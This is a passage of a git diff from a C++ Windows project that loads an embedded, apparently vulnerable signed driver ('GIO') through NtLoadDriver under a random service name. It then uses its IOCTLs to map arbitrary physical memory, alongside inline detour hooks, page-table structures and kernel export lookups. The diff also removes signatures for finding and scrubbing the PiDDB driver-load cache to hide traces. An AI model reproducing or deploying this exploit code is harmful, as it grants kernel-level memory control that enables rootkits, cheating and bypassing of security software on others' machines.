#include <map>
#include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#define MAP_PHYSICAL_MEMORY 0xC3502004
#define UNMAP_PHYSICAL_MEMORY 0xC3502008
#pragma pack ( push, 1 )
typedef struct _GIOMAP
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t physical_address;
unsigned long io_space;
unsigned long size;
} GIOMAP;
#pragma pack ( pop )
namespace nasa
{
inline std::string drv_key;
inline HANDLE drv_handle = NULL;
inline bool load_drv()
{
const auto [result, key] =
driver::load(
raw_driver,
sizeof(raw_driver)
);
drv_key = key;
drv_handle = CreateFile(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return drv_handle;
}
inline bool unload_drv()
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size)
{
GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL_MEMORY,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
))
return NULL;
return out_buffer[0];
}
inline bool unmap_phys(std::uintptr_t addr, std::size_t size)
{
uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = { sizeof(out_buffer) };
unsigned long returned = NULL;
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL_MEMORY,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
);
}
}

File diff suppressed because it is too large Load Diff

@ -1,190 +0,0 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <map>
#include <atomic>
#include <memory>
#if _M_IX86
#define OFFSET_TO_ADDRESS 0x1
#elif _M_X64
#define OFFSET_TO_ADDRESS 0x2
#endif
namespace hook
{
static void write_to_readonly(void* addr, void* data, int size)
{
DWORD old_flags;
VirtualProtect((LPVOID)addr, size, PAGE_EXECUTE_READWRITE, &old_flags);
memcpy((void*)addr, data, size);
VirtualProtect((LPVOID)addr, size, old_flags, &old_flags);
}
class detour
{
public:
detour(void* addr_to_hook, void* jmp_to, bool enable = true)
: hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false)
{
//setup hook
memcpy(
jmp_code + OFFSET_TO_ADDRESS,
&jmp_to,
sizeof(jmp_to)
);
//save bytes
memcpy(
org_bytes,
hook_addr,
sizeof(org_bytes)
);
if(enable)
install();
}
void install()
{
if (hook_installed.load())
return;
// mapped page is already read/write
memcpy(hook_addr, jmp_code, sizeof(jmp_code));
hook_installed.exchange(true);
}
void uninstall()
{
if (!hook_installed.load())
return;
// mapped page is already read/write
memcpy(hook_addr, org_bytes, sizeof(org_bytes));
hook_installed.exchange(false);
}
~detour() { uninstall(); }
bool installed() { return hook_installed; }
void* hook_address() { return hook_addr; }
void* detour_address() { return detour_addr; }
private:
std::atomic<bool> hook_installed;
void *hook_addr, *detour_addr;
#if _M_IX86
/*
0: b8 ff ff ff ff mov eax, 0xffffffff
5: ff e0 jmp eax
*/
unsigned char jmp_code[7] = {
0xb8, 0x0, 0x0, 0x0, 0x0,
0xFF, 0xE0
};
#elif _M_X64
/*
0: 48 b8 ff ff ff ff ff ff ff ff movabs rax,0xffffffffffffffff
7: ff e0 jmp rax
*/
unsigned char jmp_code[12] = {
0x48, 0xb8,
0x0,
0x0,
0x0,
0x0,
0x0,
0x0,
0x0,
0x0,
0xff, 0xe0
};
#endif
std::uint8_t org_bytes[sizeof(jmp_code)];
};
static std::map<void*, std::unique_ptr<detour>> hooks{};
/*
Author: xerox
Date: 12/19/2019
Create Hook without needing to deal with objects
*/
static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true)
{
if (!addr_to_hook)
return;
hooks.insert({
addr_to_hook,
std::make_unique<detour>(
addr_to_hook,
jmp_to_addr,
enable
)}
);
}
/*
Author: xerox
Date: 12/19/2019
Enable hook given the address to hook
*/
static void enable(void* addr)
{
if (!addr)
return;
hooks.at(addr)->install();
}
/*
Author: xerox
Date: 12/19/2019
Disable hook givent the address of the hook
*/
static void disable(void* addr)
{
if (!addr)
return;
hooks.at(addr)->uninstall();
}
/*
Author: xerox
Date: 12/19/2019
Remove hook completely from vector
*/
static void remove(void* addr)
{
if (!addr)
return;
hooks.at(addr)->~detour();
hooks.erase(addr);
}
}

@ -22,23 +22,23 @@
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
namespace driver
{
namespace util
{
inline bool delete_service_entry(const std::string& service_name)
__forceinline auto delete_service_entry(const std::string& service_name) -> bool
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
@ -49,10 +49,11 @@ namespace driver
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);;
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
inline bool create_service_entry(const std::string& drv_path, const std::string& service_name)
__forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
@ -67,10 +68,7 @@ namespace driver
if (result != ERROR_SUCCESS)
return false;
//
// set type to 1 (kernel)
//
constexpr std::uint8_t type_value = 1;
std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
@ -83,10 +81,7 @@ namespace driver
if (result != ERROR_SUCCESS)
return false;
//
// set error control to 3
//
constexpr std::uint8_t error_control_value = 3;
std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
@ -99,10 +94,7 @@ namespace driver
if (result != ERROR_SUCCESS)
return false;
//
// set start to 3
//
constexpr std::uint8_t start_value = 3;
std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
@ -115,9 +107,6 @@ namespace driver
if (result != ERROR_SUCCESS)
return false;
//
// set image path to the driver on disk
//
result = RegSetValueExA(
reg_handle,
"ImagePath",
@ -133,8 +122,7 @@ namespace driver
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
// this function was coded by paracord: https://githacks.org/snippets/4#L94
inline bool enable_privilege(const std::wstring& privilege_name)
__forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
@ -156,7 +144,7 @@ namespace driver
return true;
}
inline std::string get_service_image_path(const std::string& service_name)
__forceinline auto get_service_image_path(const std::string& service_name) -> std::string
{
HKEY reg_handle;
DWORD bytes_read;
@ -184,36 +172,27 @@ namespace driver
}
}
inline bool load(const std::string& drv_path, const std::string& service_name)
__forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
if (!util::create_service_entry("\\??\\" +
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_load_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtLoadDriver"
);
if (lp_nt_load_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return ERROR_SUCCESS == reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode);
}
return false;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode);
}
inline std::tuple<bool, std::string> load(const std::vector<std::uint8_t>& drv_buffer)
__forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::tuple<bool, std::string>
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
@ -241,41 +220,37 @@ namespace driver
return { load(file_path, service_name), service_name };
}
inline std::tuple<bool, std::string> load(const std::uint8_t* buffer, const std::size_t size)
__forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple<bool, std::string>
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
inline bool unload(const std::string& service_name)
__forceinline auto unload(const std::string& service_name) -> bool
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_unload_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtUnloadDriver"
);
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
if (lp_nt_unload_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode);
const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
const bool delete_reg = util::delete_service_entry(service_name);
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
const bool delete_reg = util::delete_service_entry(service_name);
try
{
const bool delete_drv = std::filesystem::remove(image_path);
}
catch (std::exception& e) {}
return unload_drv && delete_reg;
// sometimes you cannot delete the driver off disk because there are still handles open
// to the driver, this means the driver is still loaded into the kernel...
try
{
std::filesystem::remove(image_path);
}
catch (std::exception& e)
{
return false;
}
return false;
return delete_reg && unload_drv;
}
}

@ -1,8 +1,10 @@
#pragma once
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <cstdint>
#include <cstddef>
#include <map>
#pragma comment(lib, "ntdll.lib")
#if _DEBUG
@ -13,50 +15,15 @@
#define DBG_PRINT(...) printf(__VA_ARGS__)
#endif
#define PAGE_4KB 0x1000
#define MM_COPY_MEMORY_PHYSICAL 0x1
#define MM_COPY_MEMORY_VIRTUAL 0x2
inline const char piddb_lock_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C\x24";
inline const char piddb_lock_mask[] = "xxx????x????xxxx";
inline const char piddb_table_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x48\x8D\x1D\x00\x00\x00\x00\x48\x85\xC0\x0F";
inline const char piddb_table_mask[] = "xxx????x????xxx????xxxx";
constexpr auto PAGE_SIZE = 0x1000;
constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
#define PAGE_IN(addr, size) memset(addr, NULL, size)
constexpr auto SystemModuleInformation = 11;
constexpr auto SystemHandleInformation = 16;
constexpr auto SystemExtendedHandleInformation = 64;
typedef struct PiDDBCacheEntry
{
LIST_ENTRY list;
UNICODE_STRING driver_name;
ULONG time_stamp;
NTSTATUS load_status;
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
}PIDCacheobj;
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
@ -86,101 +53,10 @@ typedef struct _MM_COPY_ADDRESS {
};
} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS;
typedef CCHAR KPROCESSOR_MODE;
typedef enum _MODE {
KernelMode,
UserMode,
MaximumMode
} MODE;
typedef enum _POOL_TYPE {
NonPagedPool,
NonPagedPoolExecute,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS,
MaxPoolType,
NonPagedPoolBase,
NonPagedPoolBaseMustSucceed,
NonPagedPoolBaseCacheAligned,
NonPagedPoolBaseCacheAlignedMustS,
NonPagedPoolSession,
PagedPoolSession,
NonPagedPoolMustSucceedSession,
DontUseThisTypeSession,
NonPagedPoolCacheAlignedSession,
PagedPoolCacheAlignedSession,
NonPagedPoolCacheAlignedMustSSession,
NonPagedPoolNx,
NonPagedPoolNxCacheAligned,
NonPagedPoolSessionNx
} POOL_TYPE;
typedef enum _MEMORY_CACHING_TYPE {
MmNonCached,
MmCached,
MmWriteCombined,
MmHardwareCoherentCached,
MmNonCachedUnordered,
MmUSWCCached,
MmMaximumCacheType,
MmNotMapped
} MEMORY_CACHING_TYPE;
typedef struct _KAPC_STATE {
LIST_ENTRY ApcListHead[MaximumMode];
struct _KPROCESS* Process;
union {
UCHAR InProgressFlags;
struct {
BOOLEAN KernelApcInProgress : 1;
BOOLEAN SpecialApcInProgress : 1;
};
};
BOOLEAN KernelApcPending;
union {
BOOLEAN UserApcPendingAll;
struct {
BOOLEAN SpecialUserApcPending : 1;
BOOLEAN UserApcPending : 1;
};
};
} KAPC_STATE, * PKAPC_STATE, * PRKAPC_STATE;
using PEPROCESS = PVOID;
using ZwOpenProcess = NTSYSAPI NTSTATUS (__fastcall*)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
CLIENT_ID* ClientId
);
using ZwAllocateVirtualMemory = NTSTATUS(__fastcall*)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
using MmCopyVirtualMemory = NTSTATUS (__fastcall*)(
IN PEPROCESS FromProcess,
IN PVOID FromAddress,
IN PEPROCESS ToProcess,
OUT PVOID ToAddress,
IN SIZE_T BufferSize,
IN KPROCESSOR_MODE PreviousMode,
OUT PSIZE_T NumberOfBytesCopied
);
using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)(
HANDLE ProcessId,
HANDLE ProcessId,
PEPROCESS* Process
);
@ -192,58 +68,12 @@ using MmCopyMemory = NTSTATUS(__stdcall*)(
PSIZE_T
);
using MmGetVirtualForPhysical = PVOID(__fastcall*)(
__in PHYSICAL_ADDRESS PhysicalAddress
);
using MmGetPhysicalAddress = PVOID (__fastcall*)(
__in PVOID BaseAddress
);
using ExAllocatePool = PVOID (__fastcall*) (
POOL_TYPE PoolType,
SIZE_T NumberOfBytes
);
using IoAllocateMdl = PVOID(__fastcall*)(
__drv_aliasesMem PVOID VirtualAddress,
ULONG Length,
BOOLEAN SecondaryBuffer,
BOOLEAN ChargeQuota,
PVOID Irp
);
using MmBuildMdlForNonPagedPool = void (__fastcall*)(
PVOID MemoryDescriptorList
);
using MmMapLockedPagesSpecifyCache = PVOID (__fastcall*)(
PVOID MemoryDescriptorList,
KPROCESSOR_MODE AccessMode,
MEMORY_CACHING_TYPE CacheType,
PVOID RequestedAddress,
ULONG BugCheckOnFailure,
ULONG Priority
);
using KeUnstackDetachProcess = void (__fastcall*)(
PRKAPC_STATE ApcState
using MmGetVirtualForPhysical = std::uintptr_t(__fastcall*)(
__in std::uintptr_t PhysicalAddress
);
using KeStackAttachProcess = void (__fastcall*)(
PEPROCESS PROCESS,
PRKAPC_STATE ApcState
);
using ExFreePool = void* (__fastcall*)(
PVOID P
);
using ZwLockVirtualMemory = NTSTATUS (__fastcall*)(
IN HANDLE,
IN OUT PVOID,
IN OUT PULONG,
IN ULONG
using MmGetPhysicalAddress = std::uintptr_t(__fastcall*)(
__in std::uintptr_t BaseAddress
);
typedef union _virt_addr_t
@ -273,7 +103,7 @@ typedef union _pml4e
std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT.
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
std::uint64_t Ignored1 : 1;
std::uint64_t page_size : 1; // Must be 0 for PML4E.
std::uint64_t large_page : 1; // Must be 0 for PML4E.
std::uint64_t Ignored2 : 4;
std::uint64_t pfn : 36; // The page frame number of the PDPT of this PML4E.
std::uint64_t Reserved : 4;
@ -295,7 +125,7 @@ typedef union _pdpte
std::uint64_t page_cache : 1; // Determines the memory type used to access PD.
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
std::uint64_t Ignored1 : 1;
std::uint64_t page_size : 1; // If 1, this entry maps a 1GB page.
std::uint64_t large_page : 1; // If 1, this entry maps a 1GB page.
std::uint64_t Ignored2 : 4;
std::uint64_t pfn : 36; // The page frame number of the PD of this PDPTE.
std::uint64_t Reserved : 4;
@ -317,7 +147,7 @@ typedef union _pde
std::uint64_t page_cache : 1; // Determines the memory type used to access PT.
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
std::uint64_t Ignored1 : 1;
std::uint64_t page_size : 1; // If 1, this entry maps a 2MB page.
std::uint64_t large_page : 1; // If 1, this entry maps a 2MB page.
std::uint64_t Ignored2 : 4;
std::uint64_t pfn : 36; // The page frame number of the PT of this PDE.
std::uint64_t Reserved : 4;
@ -351,12 +181,10 @@ typedef union _pte
} pte, * ppte;
static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T);
using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG);
using MmCopyMemory = NTSTATUS(__stdcall*)(PVOID, MM_COPY_ADDRESS, SIZE_T, ULONG, PSIZE_T);
using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(uintptr_t, size_t);
using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*, bool);
using RtlLookupElementGenericTableAvl = PIDCacheobj * (__stdcall*) (void*, void*);
using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*, void*);
using ExReleaseResourceLite = bool(__stdcall*)(void*);
using PsGetProcessSectionBaseAddress = void* (__fastcall*)(PEPROCESS);
struct pt_entries
{
std::pair<ppml4e, pml4e> pml4;
std::pair<ppdpte, pdpte> pdpt;
std::pair<ppde, pde> pd;
std::pair<ppte, pte> pt;
};

@ -20,7 +20,7 @@ namespace util
inline std::map<std::uintptr_t, std::size_t> pmem_ranges;
//--- validates the address
inline bool is_valid(std::uintptr_t addr)
__forceinline auto is_valid(std::uintptr_t addr) -> bool
{
for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second)
@ -49,7 +49,7 @@ namespace util
return true;
})();
inline std::uintptr_t get_module_base(const char* module_name)
__forceinline auto get_module_base(const char* module_name) -> std::uintptr_t
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
@ -87,13 +87,13 @@ namespace util
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
return {};
}
inline PIMAGE_FILE_HEADER get_file_header(void* base_addr)
__forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER
{
if (!base_addr || *(short*)base_addr != 0x5A4D)
return NULL;
if (!base_addr || *(short*)base_addr != IMAGE_DOS_SIGNATURE)
return {};
PIMAGE_DOS_HEADER dos_headers =
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
@ -105,9 +105,7 @@ namespace util
return &nt_headers->FileHeader;
}
// taken from:
// http://www.cplusplus.com/forum/windows/12137/
inline DWORD get_pid(const char* proc_name)
__forceinline auto get_pid(const char* proc_name) -> std::uint32_t
{
PROCESSENTRY32 proc_info;
proc_info.dwSize = sizeof(proc_info);
@ -136,50 +134,7 @@ namespace util
return NULL;
}
inline unsigned create_runtime_broker()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(
NULL,
(LPSTR)"C:\\Windows\\System32\\RuntimeBroker.exe",
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
return pi.dwProcessId;
}
// this was taken from wlan's drvmapper:
// https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
{
std::ifstream fstr(file, std::ios::binary);
fstr.unsetf(std::ios::skipws);
fstr.seekg(0, std::ios::end);
const auto file_size = fstr.tellg();
fstr.seekg(NULL, std::ios::beg);
data.reserve(static_cast<uint32_t>(file_size));
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
}
// get base address of kernel module
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
inline std::uintptr_t get_kernel_module_base(const char* module_name)
__forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
@ -215,10 +170,7 @@ namespace util
return NULL;
}
// get base address of kernel module
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
inline void* get_module_export(const char* module_name, const char* export_name, bool rva = false)
__forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void*
{
void* buffer = nullptr;
DWORD buffer_size = 0;
@ -253,7 +205,8 @@ namespace util
std::string(getenv("SYSTEMROOT")).append("\\")
);
auto module_base = LoadLibraryEx(full_path.c_str(), NULL, DONT_RESOLVE_DLL_REFERENCES);
auto module_base = LoadLibraryExA(full_path.c_str(),
NULL, DONT_RESOLVE_DLL_REFERENCES);
PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh;
PIMAGE_EXPORT_DIRECTORY p_ied;
@ -279,8 +232,8 @@ namespace util
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
// find exported function
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
{
if (!strcmp(export_name, (char*)module_base + name[i]))
{
if (!rva)
@ -296,13 +249,14 @@ namespace util
return result;
}
}
}
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
inline void* get_module_export(void* module_base, const char* export_name)
__forceinline auto get_kmodule_export(void* module_base, const char* export_name) -> void*
{
PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh;
@ -329,126 +283,14 @@ namespace util
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
// find exported function
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
{
if (!strcmp(export_name, (char*)module_base + name[i]))
{
auto result = (void*)((std::uintptr_t)module_base + addr[ordinal[i]]);
return result;
}
return NULL;
}
namespace memory
{
template<std::size_t pattern_length>
inline std::uintptr_t pattern_scan_kernel(const char(&signature)[pattern_length], const char(&mask)[pattern_length])
{
static const auto kernel_addr =
LoadLibraryEx(
"ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
static const auto p_idh = reinterpret_cast<PIMAGE_DOS_HEADER>(kernel_addr);
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
static const auto p_inh = reinterpret_cast<PIMAGE_NT_HEADERS>((LPBYTE)kernel_addr + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return NULL;
static auto current_section = reinterpret_cast<PIMAGE_SECTION_HEADER>(p_inh + 1);
static const auto first_section = current_section;
static const auto num_sec = p_inh->FileHeader.NumberOfSections;
static std::atomic<bool> ran_before = false;
//
// only run this once.
//
if (!ran_before.exchange(true))
for (; current_section < first_section + num_sec; ++current_section)
if (!strcmp(reinterpret_cast<char*>(current_section->Name), "PAGE"))
break;
static const auto page_section_begin =
reinterpret_cast<std::uint64_t>(kernel_addr) + current_section->VirtualAddress;
const auto pattern_view = std::string_view{
reinterpret_cast<char*>(page_section_begin),
current_section->SizeOfRawData
};
std::array<std::pair<char, char>, pattern_length - 1> pattern{};
for (std::size_t index = 0; index < pattern_length - 1; index++)
pattern[index] = { signature[index], mask[index] };
auto resultant_address = std::search(
pattern_view.cbegin(),
pattern_view.cend(),
pattern.cbegin(),
pattern.cend(),
[](char left, std::pair<char, char> right) -> bool {
return (right.second == '?' || left == right.first);
});
return resultant_address == pattern_view.cend() ? 0 : reinterpret_cast<std::uintptr_t>(resultant_address.operator->());
}
//
// be aware that this may not work for win8 or win7!
//
inline void* get_piddb_lock()
{
static const auto absolute_addr_instruction =
pattern_scan_kernel(
piddb_lock_sig,
piddb_lock_mask
);
static const auto ntoskrnl_in_my_process =
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
return {};
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
if (!kernel_base)
return {};
return reinterpret_cast<void*>(kernel_base + real_rva);
}
//
// be aware that this may not work for win8 or win7!
//
inline void* get_piddb_table()
{
static const auto absolute_addr_instruction =
pattern_scan_kernel(
piddb_table_sig,
piddb_table_mask
);
static const auto ntoskrnl_in_my_process =
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
return {};
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
if (!kernel_base)
return {};
return reinterpret_cast<void*>(kernel_base + real_rva);
}
return NULL;
}
}

File diff suppressed because it is too large Load Diff

@ -0,0 +1,142 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "../util/util.hpp"
#include "../util/loadup.hpp"
#include "raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack (push, 1)
typedef struct _gdrv_t
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t phys_addr;
unsigned long io_space;
unsigned long size;
} gdrv_t, *pgdrv_t;
#pragma pack (pop)
namespace vdm
{
inline HANDLE drv_handle;
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
{
const auto [result, key] =
driver::load(
vdm::raw_driver,
sizeof(vdm::raw_driver)
);
if (!result)
return { {}, {} };
vdm::drv_handle = CreateFileA(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { vdm::drv_handle, key };
}
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
{
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
return false;
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
